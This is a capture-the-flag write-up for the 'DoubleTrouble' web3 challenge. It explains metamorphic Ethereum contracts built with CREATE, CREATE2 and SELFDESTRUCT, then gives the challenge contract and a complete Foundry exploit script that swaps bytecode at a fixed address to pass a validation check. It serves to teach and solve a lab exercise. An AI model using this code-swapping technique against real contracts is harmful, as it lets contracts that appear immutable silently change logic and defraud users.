Introduction
The final web3 challenge of the Midnight CTF revolves around a metamorphic contract. Fortunately, I had previously created a similar challenge for the Breizh CTF two years ago.
Here’s a quick refresher on what a metamorphic contract is:
Despite the common belief that smart contracts on Ethereum are immutable once deployed, contracts can effectively change their logic using advanced EVM patterns involving CREATE
, CREATE2
, and SELFDESTRUCT
.
Core Mechanism
EVM Contract Creation Ops:
In the Ethereum Virtual Machine (EVM), contracts are deployed using one of two opcodes:
CREATE
CREATE2
Both create a new contract on-chain, but the address where the contract is deployed differs between them.
CREATE
– Classic Deployment
- Usage:
address = keccak256(rlp([sender, nonce]))[12:]
- Key Variables:
sender
: the address creating the contractnonce
: the transaction count of the sender
Important traits:
- The address depends on the sender’s current nonce.
- Nonce increments with each contract creation, making the resulting address different for each txs.
- Cannot redeploy to the same address, unless the nonce is reset (e.g., via
SELFDESTRUCT
).
Why it’s relevant to metamorphic contracts:
By using SELFDESTRUCT
, a contract can erase itself and reset its nonce (if no further txs), allowing CREATE
to generate the same contract address again with different code.
CREATE2
– Deterministic Deployment
- Usage:
address = keccak256(0xFF ++ sender ++ salt ++ keccak256(bytecode))[12:]
- Key Variables:
sender
: deploying contract addresssalt
: 32-byte user-defined valuebytecode
: init code of the contract being deployed
Important traits:
- Fully deterministic — given the same inputs, the contract will always deploy to the same address.
- Can be redeployed to the same address, if the original contract was removed (e.g., via
SELFDESTRUCT
).
Why it’s relevant to metamorphic contracts:
CREATE2
is used to deploy a wrapper at a fixed address.- That wrapper then uses
CREATE
to deploy the mutable logic. - After destructing both the logic and the deployer, the same deployer can be re-deployed with
CREATE2
, enabling a new logic contract at the same fixed address.
Combined Flow — Step-by-Step:
Step | Action | Purpose |
---|---|---|
1 | Use CREATE2 to deploy a MutDeployer contract at a fixed address | Enables predictable future redeployments |
2 | MutDeployer uses CREATE to deploy MutableV1 | First version of the logic contract |
3 | Users interact with MutableV1 at a known address | Appears immutable |
4 | Owner calls SELFDESTRUCT on MutableV1 | Clears the address |
5 | Owner calls SELFDESTRUCT on MutDeployer | Resets its nonce, makes redeployment possible |
6 | Use CREATE2 with same salt and bytecode to redeploy MutDeployer | Back to same address |
7 | MutDeployer uses CREATE to deploy MutableV2 | New logic at same address as MutableV1 |
✅ | Result: Different contract logic at the same address | Mutation complete, user unaware unless deeply inspecting |
Official WU
You can find the official challenge write-up here:
👉 DoubleTrouble on NeoReo Blog
The challenge
// Author : Neoreo
// Difficulty : Hard
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract DoubleTrouble {
bool public isSolved = false;
mapping(address => bool) public validContracts;
function validate(address _contract) public {
uint256 size;
assembly {
size := extcodesize(_contract)
}
if (size == 0 || size > 5) {
revert("Invalid contract");
}
validContracts[_contract] = true;
}
function flag(address _contract) public {
require(validContracts[_contract], "Given contract has not been validated");
uint256 size;
assembly {
size := extcodesize(_contract)
}
bytes memory code = new bytes(size);
assembly {
extcodecopy(_contract, add(code, 0x20), 0, size)
}
bytes memory keyBytecode = hex"1f1a99ed17babe0000f007b4110000ba5eba110000c0ffee";
require(keccak256(code) == keccak256(keyBytecode),"Both bytecodes don't match");
isSolved = true;
}
}
My foundry script solution
Below is the script I used to solve the challenge. You can execute it using:
forge script script/Exploitoor.s.sol:ExploitScript --fork-url $RPC_URL --private-key $PRIVATE_KEY --broadcast
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/chall.sol";
contract ExploitScript is Script {
DoubleTrouble dt;
function setUp() public {}
function run() public {
vm.startBroadcast();
dt = DoubleTrouble(0x39dD11C243Ac4Ac250980FA3AEa016f73C509f37);
Atomic a = new Atomic(address(dt));
a.step1();
// Bypass the foundry local simulation error with slefdestruct not apply
address(a).call(abi.encodeWithSignature("step2()"));
// For some reason, when this tx is executed the `isSolved` var state is not yet updated to true
// which is unexpected, because `step2()` set the var to true by solving the challenge =(
(, bytes memory data) = address(dt).call(abi.encodeWithSignature("isSolved()"));
bool s = abi.decode(data, (bool));
console2.log(s);
vm.stopBroadcast();
}
}
contract Atomic {
DoubleTrouble dt;
constructor(address _dt) {
dt = DoubleTrouble(_dt);
}
function step1() public returns(address s1) {
Deployer dp = new Deployer{salt : bytes32(hex"1234")}();
s1 = dp.deploy1();
dt.validate(s1);
s1.call("");
dp.destroy();
}
function step2() public returns (address s2) {
Deployer dp = new Deployer{salt : bytes32(hex"1234")}();
s2 = dp.deploy2();
dt.flag(s2);
}
}
contract Deployer{
function deploy1() public returns(address){
bytes memory x = hex"5fff";
return address(new OurBytecode(x));
}
function deploy2() public returns (address){
bytes memory x = hex"1f1a99ed17babe0000f007b4110000ba5eba110000c0ffee";
return address(new OurBytecode(x));
}
function destroy() public {
selfdestruct(payable(address(0x0)));
}
}
contract OurBytecode{
constructor(bytes memory code){assembly{return (add(code, 0x20), mload(code))}}
}